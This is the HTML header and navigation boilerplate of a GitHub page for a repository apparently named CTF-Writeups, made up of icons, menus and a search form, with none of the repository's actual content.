<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="481769760" data-scoped-search-url="/not1cyyy/CTF-Writeups/search" data-owner-scoped-search-url="/users/not1cyyy/search" data-unscoped-search-url="/search" data-turbo="false" action="/not1cyyy/CTF-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="OW5lNbEjX611a8a/8L+bE4wYgCv0A7RYN+tt6eRBHfDn+j7tieA7TZoU5p7gILSPJOBJQ640zIkYSZpbCkqfLg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
